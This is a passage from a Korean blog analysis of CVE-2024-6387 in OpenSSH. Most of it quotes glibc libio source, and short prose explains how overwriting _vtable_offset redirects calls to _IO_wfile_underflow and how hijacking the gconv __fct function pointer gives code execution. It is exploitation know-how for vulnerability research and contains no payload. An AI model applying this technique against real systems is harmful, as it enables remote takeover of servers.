typedef size_t (*_IO_xsgetn_t) (FILE *FP, void *DATA, size_t N);
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
#define _IO_WXSGETN(FP, DATA, N) WJUMP2 (__xsgetn, FP, DATA, N)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;libio/fileops.c:_IO_file_xsgetn&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;size_t
_IO_file_xsgetn (FILE *fp, void *data, size_t n)
{
  size_t want, have;
  ssize_t count;
  char *s = data;

  want = n;

  if (fp-&amp;gt;_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp-&amp;gt;_IO_save_base != NULL)
	{
	  free (fp-&amp;gt;_IO_save_base);
	  fp-&amp;gt;_flags &amp;amp;= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }

  while (want &amp;gt; 0)
    {
      have = fp-&amp;gt;_IO_read_end - fp-&amp;gt;_IO_read_ptr;
      if (want &amp;lt;= have)
	{
	  memcpy (s, fp-&amp;gt;_IO_read_ptr, want);
	  fp-&amp;gt;_IO_read_ptr += want;
	  want = 0;
	}
      else
	{
	  if (have &amp;gt; 0)
	    {
	      s = __mempcpy (s, fp-&amp;gt;_IO_read_ptr, have);
	      want -= have;
	      fp-&amp;gt;_IO_read_ptr += have;
	    }

	  /* Check for backup and repeat */
	  if (_IO_in_backup (fp))
	    {
	      _IO_switch_to_main_get_area (fp);
	      continue;
	    }

	  /* If we now want less than a buffer, underflow and repeat
	     the copy.  Otherwise, _IO_SYSREAD directly to
	     the user buffer. */
	  if (fp-&amp;gt;_IO_buf_base
	      &amp;amp;&amp;amp; want &amp;lt; (size_t) (fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base))
	    {
	      if (__underflow (fp) == EOF)
		break;

	      continue;
	    }

	  /* These must be set before the sysread as we might longjmp out
	     waiting for input. */
	  _IO_setg (fp, fp-&amp;gt;_IO_buf_base, fp-&amp;gt;_IO_buf_base, fp-&amp;gt;_IO_buf_base);
	  _IO_setp (fp, fp-&amp;gt;_IO_buf_base, fp-&amp;gt;_IO_buf_base);

	  /* Try to maintain alignment: read a whole number of blocks.  */
	  count = want;
	  if (fp-&amp;gt;_IO_buf_base)
	    {
	      size_t block_size = fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base;
	      if (block_size &amp;gt;= 128)
		count -= want % block_size;
	    }

	  count = _IO_SYSREAD (fp, s, count);
	  if (count &amp;lt;= 0)
	    {
	      if (count == 0)
		fp-&amp;gt;_flags |= _IO_EOF_SEEN;
	      else
		fp-&amp;gt;_flags |= _IO_ERR_SEEN;

	      break;
	    }

	  s += count;
	  want -= count;
	  if (fp-&amp;gt;_offset != _IO_pos_BAD)
	    _IO_pos_adjust (fp-&amp;gt;_offset, count);
	}
    }

  return n - want;
}
libc_hidden_def (_IO_file_xsgetn)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;libio/genops.c&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
__underflow (FILE *fp)
{
  if (_IO_vtable_offset (fp) == 0 &amp;amp;&amp;amp; _IO_fwide (fp, -1) != -1)
    return EOF;

  if (fp-&amp;gt;_mode == 0)
    _IO_fwide (fp, -1);
  if (_IO_in_put_mode (fp))
    if (_IO_switch_to_get_mode (fp) == EOF)
      return EOF;
  if (fp-&amp;gt;_IO_read_ptr &amp;lt; fp-&amp;gt;_IO_read_end)
    return *(unsigned char *) fp-&amp;gt;_IO_read_ptr;
  if (_IO_in_backup (fp))
    {
      _IO_switch_to_main_get_area (fp);
      if (fp-&amp;gt;_IO_read_ptr &amp;lt; fp-&amp;gt;_IO_read_end)
	return *(unsigned char *) fp-&amp;gt;_IO_read_ptr;
    }
  if (_IO_have_markers (fp))
    {
      if (save_for_backup (fp, fp-&amp;gt;_IO_read_end))
	return EOF;
    }
  else if (_IO_have_backup (fp))
    _IO_free_backup_area (fp);
  return _IO_UNDERFLOW (fp);
}
libc_hidden_def (__underflow)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;libio/libioP.h:_IO_UNDERFLOW(FP),_IO_WUNDERFLOW(FP)&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* The &apos;underflow&apos; hook tries to fills the get buffer.
   It returns the next character (as an unsigned char) or EOF.  The next
   character remains in the get buffer, and the get position is not changed.
   It matches the streambuf::underflow virtual function. */
typedef int (*_IO_underflow_t) (FILE *);
#define _IO_UNDERFLOW(FP) JUMP0 (__underflow, FP)
#define _IO_WUNDERFLOW(FP) WJUMP0 (__underflow, FP)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;여기서 &lt;code&gt;_vtable_offset&lt;/code&gt;멤버를 덮어 오프셋에 의해 호출되는 함수를 &lt;code&gt;_IO_file_underflow&lt;/code&gt; 대신 &lt;code&gt;_IO_wfile_underflow&lt;/code&gt;를 호출하게 만듭니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img width=&quot;100%&quot; src=&quot;/assets/img/CVE-2024-6387/call_graph3.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;libio/fileops.c:_IO_file_jumps&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_new_file_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, _IO_new_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_file_jumps)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;libio/wfileops.c:_IO_wfile_jumps&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
  JUMP_INIT(doallocate, _IO_wfile_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;libio/fileops.c:_IO_new_file_underflow&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
_IO_new_file_underflow (FILE *fp)
{
  ssize_t count;

  /* C99 requires EOF to be &quot;sticky&quot;.  */
  if (fp-&amp;gt;_flags &amp;amp; _IO_EOF_SEEN)
    return EOF;

  if (fp-&amp;gt;_flags &amp;amp; _IO_NO_READS)
    {
      fp-&amp;gt;_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  if (fp-&amp;gt;_IO_read_ptr &amp;lt; fp-&amp;gt;_IO_read_end)
    return *(unsigned char *) fp-&amp;gt;_IO_read_ptr;

  if (fp-&amp;gt;_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp-&amp;gt;_IO_save_base != NULL)
	{
	  free (fp-&amp;gt;_IO_save_base);
	  fp-&amp;gt;_flags &amp;amp;= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }

  /* FIXME This can/should be moved to genops ?? */
  if (fp-&amp;gt;_flags &amp;amp; (_IO_LINE_BUF|_IO_UNBUFFERED))
    {
      /* We used to flush all line-buffered stream.  This really isn&apos;t
	 required by any standard.  My recollection is that
	 traditional Unix systems did this for stdout.  stderr better
	 not be line buffered.  So we do just that here
	 explicitly.  --drepper */
      _IO_acquire_lock (stdout);

      if ((stdout-&amp;gt;_flags &amp;amp; (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (stdout, EOF);

      _IO_release_lock (stdout);
    }

  _IO_switch_to_get_mode (fp);

  /* This is very tricky. We have to adjust those
     pointers before we call _IO_SYSREAD () since
     we may longjump () out while waiting for
     input. Those pointers may be screwed up. H.J. */
  fp-&amp;gt;_IO_read_base = fp-&amp;gt;_IO_read_ptr = fp-&amp;gt;_IO_buf_base;
  fp-&amp;gt;_IO_read_end = fp-&amp;gt;_IO_buf_base;
  fp-&amp;gt;_IO_write_base = fp-&amp;gt;_IO_write_ptr = fp-&amp;gt;_IO_write_end
    = fp-&amp;gt;_IO_buf_base;

  count = _IO_SYSREAD (fp, fp-&amp;gt;_IO_buf_base,
		       fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base);
  if (count &amp;lt;= 0)
    {
      if (count == 0)
	fp-&amp;gt;_flags |= _IO_EOF_SEEN;
      else
	fp-&amp;gt;_flags |= _IO_ERR_SEEN, count = 0;
  }
  fp-&amp;gt;_IO_read_end += count;
  if (count == 0)
    {
      /* If a stream is read to EOF, the calling application may switch active
	 handles.  As a result, our offset cache would no longer be valid, so
	 unset it.  */
      fp-&amp;gt;_offset = _IO_pos_BAD;
      return EOF;
    }
  if (fp-&amp;gt;_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp-&amp;gt;_offset, count);
  return *(unsigned char *) fp-&amp;gt;_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;libio/wfileops.c:_IO_wfile_underflow&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wint_t
_IO_wfile_underflow (FILE *fp)
{
  struct _IO_codecvt *cd;
  enum __codecvt_result status;
  ssize_t count;

  /* C99 requires EOF to be &quot;sticky&quot;.  */
  if (fp-&amp;gt;_flags &amp;amp; _IO_EOF_SEEN)
    return WEOF;

  if (__glibc_unlikely (fp-&amp;gt;_flags &amp;amp; _IO_NO_READS))
    {
      fp-&amp;gt;_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  if (fp-&amp;gt;_wide_data-&amp;gt;_IO_read_ptr &amp;lt; fp-&amp;gt;_wide_data-&amp;gt;_IO_read_end)
    return *fp-&amp;gt;_wide_data-&amp;gt;_IO_read_ptr;

  cd = fp-&amp;gt;_codecvt;

  /* Maybe there is something left in the external buffer.  */
  if (fp-&amp;gt;_IO_read_ptr &amp;lt; fp-&amp;gt;_IO_read_end)
    {
      /* There is more in the external.  Convert it.  */
      const char *read_stop = (const char *) fp-&amp;gt;_IO_read_ptr;

      fp-&amp;gt;_wide_data-&amp;gt;_IO_last_state = fp-&amp;gt;_wide_data-&amp;gt;_IO_state;
      fp-&amp;gt;_wide_data-&amp;gt;_IO_read_base = fp-&amp;gt;_wide_data-&amp;gt;_IO_read_ptr =
	fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_base;
      status = __libio_codecvt_in (cd, &amp;amp;fp-&amp;gt;_wide_data-&amp;gt;_IO_state,
				   fp-&amp;gt;_IO_read_ptr, fp-&amp;gt;_IO_read_end,
				   &amp;amp;read_stop,
				   fp-&amp;gt;_wide_data-&amp;gt;_IO_read_ptr,
				   fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_end,
				   &amp;amp;fp-&amp;gt;_wide_data-&amp;gt;_IO_read_end);

      fp-&amp;gt;_IO_read_base = fp-&amp;gt;_IO_read_ptr;
      fp-&amp;gt;_IO_read_ptr = (char *) read_stop;

      /* If we managed to generate some text return the next character.  */
      if (fp-&amp;gt;_wide_data-&amp;gt;_IO_read_ptr &amp;lt; fp-&amp;gt;_wide_data-&amp;gt;_IO_read_end)
	return *fp-&amp;gt;_wide_data-&amp;gt;_IO_read_ptr;

      if (status == __codecvt_error)
	{
	  __set_errno (EILSEQ);
	  fp-&amp;gt;_flags |= _IO_ERR_SEEN;
	  return WEOF;
	}

      /* Move the remaining content of the read buffer to the beginning.  */
      memmove (fp-&amp;gt;_IO_buf_base, fp-&amp;gt;_IO_read_ptr,
	       fp-&amp;gt;_IO_read_end - fp-&amp;gt;_IO_read_ptr);
      fp-&amp;gt;_IO_read_end = (fp-&amp;gt;_IO_buf_base
			  + (fp-&amp;gt;_IO_read_end - fp-&amp;gt;_IO_read_ptr));
      fp-&amp;gt;_IO_read_base = fp-&amp;gt;_IO_read_ptr = fp-&amp;gt;_IO_buf_base;
    }
  else
    fp-&amp;gt;_IO_read_base = fp-&amp;gt;_IO_read_ptr = fp-&amp;gt;_IO_read_end =
      fp-&amp;gt;_IO_buf_base;

  if (fp-&amp;gt;_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp-&amp;gt;_IO_save_base != NULL)
	{
	  free (fp-&amp;gt;_IO_save_base);
	  fp-&amp;gt;_flags &amp;amp;= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);

      fp-&amp;gt;_IO_read_base = fp-&amp;gt;_IO_read_ptr = fp-&amp;gt;_IO_read_end =
	fp-&amp;gt;_IO_buf_base;
    }

  fp-&amp;gt;_IO_write_base = fp-&amp;gt;_IO_write_ptr = fp-&amp;gt;_IO_write_end =
    fp-&amp;gt;_IO_buf_base;

  if (fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp-&amp;gt;_wide_data-&amp;gt;_IO_save_base != NULL)
	{
	  free (fp-&amp;gt;_wide_data-&amp;gt;_IO_save_base);
	  fp-&amp;gt;_flags &amp;amp;= ~_IO_IN_BACKUP;
	}
      _IO_wdoallocbuf (fp);
    }

  /* FIXME This can/should be moved to genops ?? */
  if (fp-&amp;gt;_flags &amp;amp; (_IO_LINE_BUF | _IO_UNBUFFERED))
    {
      /* We used to flush all line-buffered stream.  This really isn&apos;t
	 required by any standard.  My recollection is that
	 traditional Unix systems did this for stdout.  stderr better
	 not be line buffered.  So we do just that here
	 explicitly.  --drepper */
      _IO_acquire_lock (stdout);

      if ((stdout-&amp;gt;_flags &amp;amp; (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
	  == (_IO_LINKED | _IO_LINE_BUF))
	_IO_OVERFLOW (stdout, EOF);

      _IO_release_lock (stdout);
    }

  _IO_switch_to_get_mode (fp);

  fp-&amp;gt;_wide_data-&amp;gt;_IO_read_base = fp-&amp;gt;_wide_data-&amp;gt;_IO_read_ptr =
    fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_base;
  fp-&amp;gt;_wide_data-&amp;gt;_IO_read_end = fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_base;
  fp-&amp;gt;_wide_data-&amp;gt;_IO_write_base = fp-&amp;gt;_wide_data-&amp;gt;_IO_write_ptr =
    fp-&amp;gt;_wide_data-&amp;gt;_IO_write_end = fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_base;

  const char *read_ptr_copy;
  char accbuf[MB_LEN_MAX];
  size_t naccbuf = 0;
 again:
  count = _IO_SYSREAD (fp, fp-&amp;gt;_IO_read_end,
		       fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_read_end);
  if (count &amp;lt;= 0)
    {
      if (count == 0 &amp;amp;&amp;amp; naccbuf == 0)
	{
	  fp-&amp;gt;_flags |= _IO_EOF_SEEN;
	  fp-&amp;gt;_offset = _IO_pos_BAD;
	}
      else
	fp-&amp;gt;_flags |= _IO_ERR_SEEN, count = 0;
    }
  fp-&amp;gt;_IO_read_end += count;
  if (count == 0)
    {
      if (naccbuf != 0)
	/* There are some bytes in the external buffer but they don&apos;t
	   convert to anything.  */
	__set_errno (EILSEQ);
      return WEOF;
    }
  if (fp-&amp;gt;_offset != _IO_pos_BAD)
    _IO_pos_adjust (fp-&amp;gt;_offset, count);

  /* Now convert the read input.  */
  fp-&amp;gt;_wide_data-&amp;gt;_IO_last_state = fp-&amp;gt;_wide_data-&amp;gt;_IO_state;
  fp-&amp;gt;_IO_read_base = fp-&amp;gt;_IO_read_ptr;
  const char *from = fp-&amp;gt;_IO_read_ptr;
  const char *to = fp-&amp;gt;_IO_read_end;
  size_t to_copy = count;
  if (__glibc_unlikely (naccbuf != 0))
    {
      to_copy = MIN (sizeof (accbuf) - naccbuf, count);
      to = __mempcpy (&amp;amp;accbuf[naccbuf], from, to_copy);
      naccbuf += to_copy;
      from = accbuf;
    }
  status = __libio_codecvt_in (cd, &amp;amp;fp-&amp;gt;_wide_data-&amp;gt;_IO_state,
			       from, to, &amp;amp;read_ptr_copy,
			       fp-&amp;gt;_wide_data-&amp;gt;_IO_read_end,
			       fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_end,
			       &amp;amp;fp-&amp;gt;_wide_data-&amp;gt;_IO_read_end);

  if (__glibc_unlikely (naccbuf != 0))
    fp-&amp;gt;_IO_read_ptr += MAX (0, read_ptr_copy - &amp;amp;accbuf[naccbuf - to_copy]);
  else
    fp-&amp;gt;_IO_read_ptr = (char *) read_ptr_copy;
  if (fp-&amp;gt;_wide_data-&amp;gt;_IO_read_end == fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_base)
    {
      if (status == __codecvt_error)
	{
	out_eilseq:
	  __set_errno (EILSEQ);
	  fp-&amp;gt;_flags |= _IO_ERR_SEEN;
	  return WEOF;
	}

      /* The read bytes make no complete character.  Try reading again.  */
      assert (status == __codecvt_partial);

      if (naccbuf == 0)
	{
	  if (fp-&amp;gt;_IO_read_base &amp;lt; fp-&amp;gt;_IO_read_ptr)
	    {
	      /* Partially used the buffer for some input data that
		 produces no output.  */
	      size_t avail = fp-&amp;gt;_IO_read_end - fp-&amp;gt;_IO_read_ptr;
	      memmove (fp-&amp;gt;_IO_read_base, fp-&amp;gt;_IO_read_ptr, avail);
	      fp-&amp;gt;_IO_read_ptr = fp-&amp;gt;_IO_read_base;
	      fp-&amp;gt;_IO_read_end -= avail;
	      goto again;
	    }
	  naccbuf = fp-&amp;gt;_IO_read_end - fp-&amp;gt;_IO_read_ptr;
	  if (naccbuf &amp;gt;= sizeof (accbuf))
	    goto out_eilseq;

	  memcpy (accbuf, fp-&amp;gt;_IO_read_ptr, naccbuf);
	}
      else
	{
	  size_t used = read_ptr_copy - accbuf;
	  if (used &amp;gt; 0)
	    {
	      memmove (accbuf, read_ptr_copy, naccbuf - used);
	      naccbuf -= used;
	    }

	  if (naccbuf == sizeof (accbuf))
	    goto out_eilseq;
	}

      fp-&amp;gt;_IO_read_ptr = fp-&amp;gt;_IO_read_end = fp-&amp;gt;_IO_read_base;

      goto again;
    }

  return *fp-&amp;gt;_wide_data-&amp;gt;_IO_read_ptr;
}
libc_hidden_def (_IO_wfile_underflow)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;
&lt;code&gt;_IO_wfile_underflow&lt;/code&gt;는 다음 흐름을 갖는데 이때 &lt;code&gt;__fct&lt;/code&gt; 함수 포인터를 조작할 수 있기 때문에 원하는 코드를 실행시킬 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img width=&quot;100%&quot; src=&quot;/assets/img/CVE-2024-6387/call_graph4.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;libio/iofwide.c&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,
		    const char *from_start, const char *from_end,
		    const char **from_stop,
		    wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{
  enum __codecvt_result result;

  struct __gconv_step *gs = codecvt-&amp;gt;__cd_in.step;
  int status;
  size_t dummy;
  const unsigned char *from_start_copy = (unsigned char *) from_start;

  codecvt-&amp;gt;__cd_in.step_data.__outbuf = (unsigned char *) to_start;
  codecvt-&amp;gt;__cd_in.step_data.__outbufend = (unsigned char *) to_end;
  codecvt-&amp;gt;__cd_in.step_data.__statep = statep;

  __gconv_fct fct = gs-&amp;gt;__fct;
#ifdef PTR_DEMANGLE
  if (gs-&amp;gt;__shlib_handle != NULL)
    PTR_DEMANGLE (fct);
#endif

  status = DL_CALL_FCT (fct,
			(gs, &amp;amp;codecvt-&amp;gt;__cd_in.step_data, &amp;amp;from_start_copy,
			 (const unsigned char *) from_end, NULL,
			 &amp;amp;dummy, 0, 0));

  *from_stop = (const char *) from_start_copy;
  *to_stop = (wchar_t *) codecvt-&amp;gt;__cd_in.step_data.__outbuf;

  switch (status)
    {
    case __GCONV_OK:
    case __GCONV_EMPTY_INPUT:
      result = __codecvt_ok;
      break;

    case __GCONV_FULL_OUTPUT:
    case __GCONV_INCOMPLETE_INPUT:
      result = __codecvt_partial;
      break;

    default:
      result = __codecvt_error;
      break;
    }

  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;여기에서 함수 포인터로 참조되는 멤버의 구조는 다음과 같이 구성되게됩니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img width=&quot;100%&quot; src=&quot;/assets/img/CVE-2024-6387/structure_graph.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;libio/libioP.h&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

/* We always allocate an extra word following an _IO_FILE.
   This contains a pointer to the function jump table used.
   This is for compatibility with C++ streambuf; the word can
   be used to smash to a pointer to a virtual function table. */

struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;libio/bits/types/struct_FILE.h:struct _IO_FILE&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* The tag name of this struct is _IO_FILE to preserve historic
   C++ mangled names for functions taking FILE* arguments.
   That name should not be used in new code.  */
struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it&apos;s too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don&apos;t get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;libio.h:_IO_codecvt&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct _IO_codecvt
{
  _IO_iconv_t __cd_in;
  _IO_iconv_t __cd_out;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;libio.h:_IO_iconv_t&amp;lt;/summary&amp;gt;
&amp;lt;div markdown=&quot;1&quot;&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct
{
  struct __gconv_step *step;
  struct __gconv_step_data step_data;
} _IO_iconv_t;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;
&amp;lt;/details&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;details&amp;gt;
&amp;lt;summary&amp;gt;gconv.h:__gconv_step&amp;lt;/summary&amp;gt;
